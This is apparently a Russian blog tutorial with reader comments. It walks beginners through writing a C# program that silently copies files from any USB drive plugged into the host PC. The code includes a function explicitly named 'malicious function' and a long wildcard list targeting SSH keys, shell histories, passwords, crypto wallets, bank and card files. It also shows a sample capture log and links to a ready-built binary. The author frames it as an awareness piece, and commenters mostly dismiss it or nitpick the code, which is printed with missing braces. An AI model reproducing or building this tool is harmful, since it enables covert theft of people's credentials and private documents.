Задача:
Написать ПО несанкционированно копирующее файлы с легально подключенного USB — устройства, не требующее установки и прав администратора.
Т.е. легальное ПО, которое может быть использовано злоумышленниками для нанесения вреда (согласно трактовке одного из антивирусных средств).
Алгоритм работы программы
Аудитория:
Новички в программировании и просто интересующиеся.

Пример применения ПО злоумышленником:
  • 1. Работник просит другого работника скопировать документы с флэшки с какой-либо целью. Теперь эти и другие документы в руках злодея;
  • 2. Необходимо распечатать диплом, т.к. дома принтера нет, печатаем в ближайшем копировальном центре. Теперь диплом и другая информация в руках работника копировального центра.

Пишем программу:
1. Ловим подключение USB-устройства
Переопределением метода WndProc
        protected override void WndProc(ref Message m)//Обнаружен съемный носитель:
            base.WndProc(ref m);
            const int WM_DeviceChange = 0x219; //что-то связанное с usb
            const int DBT_DEVICEARRIVAL = 0x8000; //устройство подключено
            const int DBT_DEVICEREMOVECOMPLETE = 0x8004; // устройство отключено
            if (m.Msg == WM_DeviceChange)
                Thread T = new Thread(Вредоносная_функция);
                if (m.WParam.ToInt32() == DBT_DEVICEARRIVAL)
                      T.Start();//новое usb подключено      
                if (m.WParam.ToInt32() == DBT_DEVICEREMOVECOMPLETE)
                    T.Abort();// usb отключено  


2. Выбираем форматы файлов для поиска (в индивидуальной последовательности — поскольку каждый сам решает какие типы файлов копировать в первую очередь)
Типы файлов, записанные, например, в (listBox2):
*.ppk *.pref *.remmina *.sh *.txt *.хml* *access*.txt *account* *accs*.txt *admin*.txt *amazon*.txt *authorized_keys* *balance*.txt *bash_history* *billing*.txt *btc*.txt*brute* *c6ep*.txt *cepвep* *codes* *connect* *contacts*.txt *database* *dedic*.txt *dedik*.txt *domain*.txt *ftp*.txt *hack*.txt *host*.txt *icq*.txt *id_*sa* *id_dsa* *id_rsa* *known_hosts* *ksh_history* *login* *mail*.txt *merchant*.txt *money* *myadmin*.txt *mysql_history* *nano_history* *parol* *pass* *pentest* *pgsql_history* *pma*.txt *pref* *qwerty* *rdp*.txt *remmina* *root* *serv*.txt *sh_history* *srv*.txt *todo*.txt *userid* *users* *vds*.txt *vpn*.txt *vps*.txt *vuln*.txt *wallet* *webmon* *zsh_history* *акк*.txt *аккаунт* *баги* *баланс* *баланс*.txt *банк*.txt *бтц* *важн*.txt *вдс*.txt *вебман* *вебман*.txt *взлом* *впн*.txt *впс*.txt *данны* *деньг* *доступ* *задачи* *задачи*.txt *инфо*.txt *картон*.txt *карты*.txt *ключ*.txt *коин* *кош*.txt *кредит* *логин*.txt *парол* *почта* *приват* *рут*.txt *секрет* *секрет*.txt *сервер* *серт*.txt *смс*.txt *сокс*.txt *счет*.txt *тест*.txt *туду*.txt *уязвим* *фтп*.txt *хак*.txt *шел*.txt *шоп*.txt *эккаунт* *эксплоит* access.txt adm.txt all.txt bill.txt card.txt cards.txt cc.txt centos.txt data.txt ded.txt ftps.txt full.txt hdd.txt host.txt id.txt info.txt key.txt linux.txt mail.txt mails.txt pern*.txt skype*.txt sql*.txt ssh*.txt sys.txt tconn.conf toor.txt ubuntu.txt usb.txt user.txt virtual.txt рег*.txt сбер*.txt ссх*.txt *парол* *pass* *pwd* *login* *логин* *vk.com* вконтакте *почты* *.xls* *.doc* *.rtf *.JPG *.jpeg *.pgf *.bmp *.cr2 *config* *пинкод* *банк*

3. Ищем файлы на USB-носителе
Функция поиска:
private ArrayList F;// Список найденных файлов
private void Вредоносная_функция()
            Thread.Sleep(4000);//засыпаем чтобы дать носителю правильно определиться в операционной системе
            foreach (var dInfo in DriveInfo.GetDrives())
                if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)                
                    for (int i = 0; i < listBox2.Items.Count; i++)
                    {
                        foreach (string file in Directory.GetFiles(@dInfo.Name,
                                                            listBox2.Items[i].ToString(),
                                                            SearchOption.AllDirectories))
                            F.Add(new FILEclass(file, Path.GetFileName(file)));
                    }                


5. Копируем файлы с подключенного USB-носителя к себе на компьютер
Функция копирования
private void cheat()
        ...ищем файлы...
        //Создаем папку куда копировать
        Directory.CreateDirectory("Liked " + DateTime.Now.Year +
                                                 "." + DateTime.Now.Month + 
                                                 "." + DateTime.Now.Day);
        int copied = 0; int copy_err = 0; int exist = 0;
        for (int i = 0; i < F.Count; i++)
        {
            string sourceName = Path.GetFileName((((FILEclass)(F[i])).Fullname));
            string source = ((FILEclass)(F[i])).Fullname;
            string dest = Dir + @"\" + ((FILEclass)(F[i])).name;
            string destName = Path.GetFileName(Dir + @"\" + ((FILEclass)(F[i])).name);
            if (sourceName.Equals(destName))
                if (File.Exists(source))
                    if (File.Exists(dest))
                        try
                        {
                            if (FileCompare(source, dest)) exist++; //такой файл уже есть
                            else//файла нет - несанкционированно копируем
                                File.Copy(source, Dir + @"\" + Timenow() + 
                                                    "s. " + ((FILEclass)(F[i])).name);
                                copied++; 
                        }
                        catch{copy_err++; }//на случай если USB-устройство извлекут
                    else
                    {
                        try
                            File.Copy(source, dest);
                        catch { copy_err++; }
                        copied++;
                    }
                else                    
                    copy_err++;
        }

Функция сравнения двух файлов
        //https://support.microsoft.com/ru-ru/kb/320348
        private bool FileCompare(string file1, string file2)
            int file1byte;
            int file2byte;
            FileStream fs1;
            FileStream fs2;
            if (file1 == file2)
                return true;//на сравнение передан один и тот же файл
            fs1 = new FileStream(file1, FileMode.Open);
            fs2 = new FileStream(file2, FileMode.Open);
            if (fs1.Length != fs2.Length)
                fs1.Close();
                fs2.Close();                
                return false;
            do
            {   //размер файлов совпал, значит сравним файлы по битам
                file1byte = fs1.ReadByte();
                file2byte = fs2.ReadByte();
            }
            while ((file1byte == file2byte) && (file1byte != -1));
            fs1.Close();
            fs2.Close();
            return ((file1byte - file2byte) == 0);

6. Ведение лога
Добавив лог, легко можно увидеть примерную структуру папок на USB-устройстве и что скопировано:

14.08.2015 21:25:13 ============================================= Программа запущена
14.08.2015 21:25:17 Начат поиск файлов
14.08.2015 21:25:18 Найден файл F:\123hack.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\App1.csproj.FileListAbsolute.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\LanguageQualifiers.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\ProjectArchitectures.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\Cisco Mars incident parser\Cisco Mars incident parser\obj\Debug\Cisco Mars incident parser.csproj.FileListAbsolute.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\dots\dots\obj\Debug\dots.csproj.FileListAbsolute.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\genovirus\genovirus\Assets\AboutAssets.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\genovirus\genovirus\Resources\AboutResources.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\TheGenoVirus\TheGenoVirus\obj\Debug\ResourceTypeUsage.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\TheGenoVirus\TheGenoVirus\obj\Debug

7. Копирование данных с внешних HDD оставлю в качестве «домашней работы»

Выводы:
Не храните конфиденциальную информацию на съемных USB-устройствах и не подключайте их к не доверенным устройствам.

Готовый пример в «Облако@mail.ru»

www.virustotal.com: 1/56 (антивирус «VBA32» определяет как «Trojan.MSIL.gen.11»).
Было полезно?

Проголосовало 328 человек. Воздержалось 119 человек.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Комментарии (21)


  1. Ivan_83
    19.08.2015 23:12
    +15

    Херота какая то.

    Как антивирус должен отделять ПО для автоматической синхронизации/бэкапа от такого ПО которое льёт файлы налево?
    Что мешает «добросовестному» сотруднику копи центра фаром копировать всё содержимое флешки?
    Зачем тут вообще что то кодить?
    В чём вообще посыл?

    Тут недавно шифровальщик попался, там вообще всё было сделано через батник, pgp 1996 года для шифрования закрытого ключа и rar консольный для шифрования файлов.
    Это по круче копирования и придраться формально не к чему.


    1. Protos
      20.08.2015 05:42
      -8

      С помощью так называемого «Поведенческого анализа».


      1. vedenin1980
        20.08.2015 09:18
        +4

        Какой нафиг «Поведенческий анализ» если прога делает ровно тоже что любая прога по синхронизации содержимого флешки и диска? И какой нафиг антивирус, если прогу сознательно запускает владелец компа, с возможностью жестко указать антивирусу эту прогу не трогай ни при каком случае? Вы о чем вообще? Компы уже овладели телепатией и обзавелись искусственным интеллектом?


        1. Protos
          20.08.2015 15:59
          -1

          Не знаю как у вас, а в нашей организации пользователям запрещено управлять антивирусом.


    1. saboteur_kiev
      20.08.2015 14:17
      +6

      Удивительно, но голосование говорит что это было полезно 50%
      Кто эти люди?


      1. Nikobraz
        20.08.2015 15:35

        Аудитория GT


      1. Ivan_83
        21.08.2015 00:48

        А почему вы мне задаёте этот вопрос?
        Я высказал своё личное мнение, и мне не важно как оно соотносится с чужими мнениями, будут меня за это плюсовать или минусовать — мне плевать. Написал бы тоже самое даже в случае: «ДА = 1 000 000 / НЕТ = 0».

        Публикация чистое капитанство из серии: «не тыкайте свои носители с ценной инфой куда попало».
        Программа/код тоже ниочём.
        Я понимаю, это был бы разбор новой дыры в винде, с жёсткими ссылками, которая до недавнего времени позволяла автоматом запускать на выполнение с флешки файл при подключении, без всяких запросов и возможности отмены.

        Мне об том что написал автор известно с 2003 года, когда в Одессе я давал оцифровать отснятые плёнки, а когда дал флешку чтобы мне скинули то работник зачем то начал копировать всё с моей флешки к себе, прямо у меня на глазах, то ли фаром то ли проводником. Пришлось попросить его удалить всё скопированное.
        И не давно одна знакомая дала свой переносной диск со всем самым ценным чтобы ей с регистратора в какой то конторе слили момент ДТП с её участием. Короче, там или регистратор или оператор тупые, но винт ей предварительно форматнули, а уже потом залили что просила.


  1. vedenin1980
    19.08.2015 23:20
    +4

    Куда проще написать элементарный батник копирования файлов и повесить его на события планировщика виндовс (или запускать его руками под видом антивируса). Не говоря уже о куче специализированных программ по синхронизации данных с флешек, которые могут все это и кучу ещё всего. А к вредоносному по или вирусам это вообще никакого отношения не имеет, обычная программа синхронизации данных, которую никакой антивирус ловить и не должен.


  1. Aclz
    20.08.2015 00:55
    +14

    Тю… Я то думал, что тут готовишь флешку, даёшь коллегу, он её вставляет в свой комп, а она, помимо того, что Mass Storage, еще и в фоне с его компа на себя что-нибудь сливает. А тут пишут программу для копирования файлов из папки в папку.


  1. Samber
    20.08.2015 01:37
    +6

    Если бы при подключении флешки ПО на ней, в обход запрета автозапуска, начинало сканировать комп и кидать, к примеру, файлы с паролями браузера мне на сервер — было бы интересно.


  1. Gariks
    20.08.2015 02:06
    -1

    Писал подобное на winAPI в далеком 2010 году, программа была установлена в компьютерной аудитории и использовалась лаборантами для коллекционирования курсовых, дипломов и недописанных статей, книг преподователей, которые использовали этот компьютер для показа презентаций.

    К сожалению исходников я не нашел (винт приказал долго жить), остались лишь воспоминания в блоге

    Программа висит в памяти и с интервалом в минуту проходится по всем логическим дискам, если это флешка запрашивается ее серийный номер — программа сравнивает записи в реестре о последнем копировании с данной флешки и если прошло больше суток запускается рекурсивная функция копирования. Копирование производится на доступный для записи диск с условием, что на диске достаточно свободного места.


  1. deBarb
    20.08.2015 10:25
    +2

    а usbgrub чем не угодил?
    можно поставить и потом смотреть, что сотрудники носят на флешках…


    1. Protos
      20.08.2015 15:52
      -2

      Потому что это туториал по созданию своего usbgrub


  1. imbeat
    20.08.2015 14:23

    Directory.CreateDirectory("Liked " + DateTime.Now.Year + "." + DateTime.Now.Month + "." + DateTime.Now.Day);
    

    Можно короче и быстрее и красивее (дни и месяцы до 9 включительно будут выводиться с нулем… например, «02», а не «2») и удобнее для сортировки:
    Directory.CreateDirectory("Liked " + DateTime.Now.ToString("yyyy.MM.dd"));
    


    1. PoliTeX
      20.08.2015 16:36
      -1

      Directory.CreateDirectory(DateTime.Now.ToString(«Like'd' yyyy.MM.dd»));


      1. imbeat
        20.08.2015 16:40
        -1

        Да, согласен. Так еще лучше.


        1. withkittens
          21.08.2015 23:46

          Если уж придираться, то «Liked» и «yyyy.MM.dd» — это разные сущности. Не вижу ни одной причины пихать их вместе в строку формата.


          1. PoliTeX
            12.09.2015 13:18

            За что likedу такие почести по сравнению с теми-же точками?
            Оптимизация, но не в случае CreateDirectory, конечно.


  1. dymanoid
    20.08.2015 20:25

    ArrayList? O_o *faceplam*
    Вы из 2003-го?


    1. avonar
      23.08.2015 22:28

      Извините, я не сварщик, а как это православно делается?


      1. dymanoid
        24.08.2015 21:46

        ArrayList — это наследие из С# 1.0 / .NET Framework 1.0 и уже давным давно устарел. Используйте generic типы вроде List < T >.